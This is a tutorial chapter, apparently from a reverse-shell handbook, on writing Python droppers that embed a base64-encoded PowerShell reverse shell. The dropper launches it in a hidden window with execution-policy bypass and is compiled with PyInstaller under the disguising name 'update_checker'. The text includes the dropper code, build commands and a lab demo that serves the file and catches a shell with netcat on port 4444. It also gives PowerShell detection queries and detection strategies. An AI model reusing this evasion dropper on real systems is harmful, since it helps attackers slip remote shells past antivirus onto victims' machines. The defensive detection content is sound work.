Intermediate Python Evasion

Python Dropper Development

From: Reverse Shell Handbook, 3rd Edition Author: George Wu

// What is this?

How malware droppers work in Python — fetching and executing a payload without writing obvious files to disk.

A dropper is the first-stage malware that delivers the real payload. This tutorial covers the techniques used: downloading payloads from URLs, executing code in memory (exec/eval with base64), bypassing AV by avoiding disk writes, and establishing persistence. The goal is understanding the attacker's toolchain so defenders can write better detection rules.

PowerShell — Dropper Detection

→ Blue Team

# Recently created executables in user folders
Get-ChildItem "$env:LOCALAPPDATA","$env:APPDATA","$env:TEMP" -Recurse -Include *.exe,*.dll -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } |
  Select-Object FullName, CreationTime

# Unsigned executables in TEMP
Get-ChildItem "$env:TEMP" -Filter *.exe -Force -ErrorAction SilentlyContinue |
  ForEach-Object { $s=Get-AuthenticodeSignature $_.FullName; if($s.Status -ne "Valid"){$_} }

# Python/PowerShell downloading files
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; Id=4104} -MaxEvents 200 -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match "WebClient|DownloadFile|Invoke-WebRequest|curl|wget" }

If this flags: Unsigned EXEs in TEMP dropped by a script are malware. DownloadFile/Invoke-WebRequest in logs = staging payload. Check network history.

What Is This?

A dropper is a delivery mechanism. It's the thing that gets malware onto your system and runs it. Think of it like a gift-wrapped bomb - the wrapping (the dropper) looks innocent, but inside is the payload that does the actual damage.

Why You Need To Know This

Ever wonder why your antivirus "didn't catch it"? Attackers don't just email you malware.exe anymore. They wrap malicious code inside legitimate-looking programs, encode it so scanners can't read it, and execute it in memory so it never touches disk.

If you understand how droppers work, you'll know:

Why "I have antivirus" isn't enough
What to look for in process monitoring
How to build detection rules that actually work

What Does It Do?

This specific dropper technique:

Embeds a PowerShell reverse shell inside a Python script
Compiles Python to a standalone .exe using PyInstaller
When run, decodes the payload and launches PowerShell with it
The malicious script never exists as a file - it's only in memory
Antivirus can't scan what doesn't exist on disk

The Problem with .ps1 Files

Why Attackers Avoid PowerShell Scripts on Disk

A .ps1 file sitting on the desktop is a neon sign. Windows Defender scans it immediately. Script Block Logging (Event ID 4104) captures the content. The file's very existence is suspicious.

Solution: Embed the payload as a string inside a compiled executable. The PS script never touches disk.

Key Concept: UTF-16-LE Encoding

PowerShell's -EncodedCommand parameter requires base64 of UTF-16-LE encoded text. Plain UTF-8 fails silently - no error, just doesn't work.

# Wrong - UTF-8 encoded, will fail silently
enc = base64.b64encode(payload.encode('utf-8'))

# Correct - UTF-16-LE as PowerShell expects
enc = base64.b64encode(payload.encode('utf-16-le')).decode()

Dropper Pattern

The dropper embeds the payload as a string, encodes it at runtime, and launches PowerShell with the encoded command:

import subprocess, base64

# Payload embedded as string (no file on disk)
ps = """$ip = '192.168.56.103'
$port = 4444
$client = New-Object System.Net.Sockets.TcpClient
... (shell code) ...
"""

# Encode for -EncodedCommand
enc = base64.b64encode(ps.encode('utf-16-le')).decode()

# Launch hidden PowerShell
subprocess.Popen(
    ['powershell.exe', '-NoProfile',
     '-WindowStyle', 'Hidden',
     '-ExecutionPolicy', 'Bypass',
     '-EncodedCommand', enc],
    creationflags=0x08000000  # CREATE_NO_WINDOW
)

PyInstaller Compilation

Convert the Python script to a standalone Windows executable:

PS C:\Users\victim\Desktop> pyinstaller --version
6.21.0

PS C:\Users\victim\Desktop> pyinstaller --onefile --noconsole --clean --name update_checker dropper.py
7621 INFO: Graph cross-reference written
7660 INFO: checking PYZ
...
10052 INFO: Build complete! The results are available in: C:\Users\victim\Desktop\dist

Result Comparison

Attribute	Raw .ps1	PyInstaller EXE
File on disk	PowerShell script	Compiled binary
Size	~1KB	~7MB
Defender scan	Immediate detection	May pass initial scan
Script Block Log	Full content captured	Only sees encoded blob

Demo Output

kali@recon:~/bhp$ python3 build_dropper.py
dropper.py written - 304B -> 320B ciphertext

kali@recon:~/bhp$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.56.104 - [25/Jul/2026] "GET /dropper.py HTTP/1.1" 200

kali@recon:~/bhp$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 51720
whoami
windows-pwn\victim

Detection Strategies

How to Detect This Pattern

Process monitoring: PowerShell spawned by unknown/suspicious parent processes

Command line: -EncodedCommand with large base64 blob

PyInstaller fingerprint: Known PE structure, _MEIPASS temp extraction

Network: Outbound TCP immediately after EXE execution

Educational Purpose Only

This content documents techniques used by threat actors. Understanding them helps build better detection. Never use these techniques without explicit authorization.